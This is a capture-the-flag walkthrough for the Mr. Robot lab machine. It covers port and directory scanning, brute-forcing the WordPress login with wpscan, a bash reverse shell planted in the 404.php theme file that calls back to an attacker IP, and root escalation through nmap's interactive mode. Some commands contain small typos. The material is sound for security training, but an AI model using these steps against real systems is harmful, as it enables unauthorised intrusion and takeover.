**Mr. Robot CTF**

**Objective:**

The goal is to find three hidden keys within the target machine, inspired by the TV series *Mr. Robot*.

**Step 1: Network Scanning**

Use **nmap** to scan the target machine for open ports and services.

nmap -A -T4 192.168.145.134

This reveals open ports:

* **80** (HTTP)
* **443** (HTTPS)

**Step 2: Website Enumeration**

Navigate to the IP address in the browser (using HTTP).

**Directory Scanning**

Use **Gobuster** to scan for hidden directories and files.

gobuster dir -u http://192.168.145.134 -w /usr/share/wordlists/dirb/common.txt

found interesting directories like /robots.txt.

**Analyze robots.txt**

Access robots.txt:

http://192.168.145.134/robots.txt

Inside the file, found:

vbnet

fsocity.dic

key-1-of-3.txt

Download the fsocity.dic file, which is a wordlist, and note the location of the first key.

**Finding Key 1**

Visit:

http://192.168.145.134/key-1-of-3.txt

Here you will find the **first key**.

**Step 3: WordPress Exploitation**

The website is running **WordPress**. Use **wpscan** to enumerate further:

wpscan --url http://192.168.145.134 --enumerate u

This will identify the username as Elliot.

**Brute-Force WordPress Login**

Using the fsocity.dic wordlist (from robots.txt), brute-force the WordPress admin login:

wpscan --url http://192.168.145.134 --passwords fsocity.dic --usernames Elliot

Once the correct password is found, log in to WordPress as Elliot.

**Step 4: Gaining Initial Access**

After logging in, you have access to the WordPress dashboard. Now, use a reverse shell to gain a foothold in the system.

**Reverse Shell via Theme Editor**

1. Navigate to **Appearance > Editor** and edit the 404.php file.
2. Replace its content with a PHP reverse shell payload (use **PentestMonkey** PHP reverse shell):

php

<?php

exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.145.135/4444d 0>&1'");

?>

1. Set up a listener on machine:

nc -lvnp 4444

1. Visit the modified 404.php page on the target machine to trigger the shell:

<http://192.168.145.134/dfsdf>asdasdasd

This will give us a reverse shell.

**Step 5: Privilege Escalation**

Now that we have a shell, stabilize it and look for privilege escalation paths.

1. **Stabilize the shell**:

python3 -c 'import pty; pty.spawn("/bin/bash")'

1. **Find the second key**:

Explore the file system and look for any interesting files:

find / -name key-2-of-3.txt

we found the 2nd key in one of the user directories

**Check SUID Binaries**

Check for binaries with SUID bit set:

find / -perm -4000 2>/dev/null

One of the binaries you might find useful is nmap.

**Step 6: Escalating to Root**

Use **nmap**'s interactive mode to escalate to root.

1. Run nmap in interactive mode:

nmap --interactive

1. In the nmap shell, execute the following to spawn a root shell:

bash

Copy code

!sh

1. You now have root privileges.

**Step 7: Finding the Final Key**

With root access, search for the third key:

find / -name key-3-of-3.txt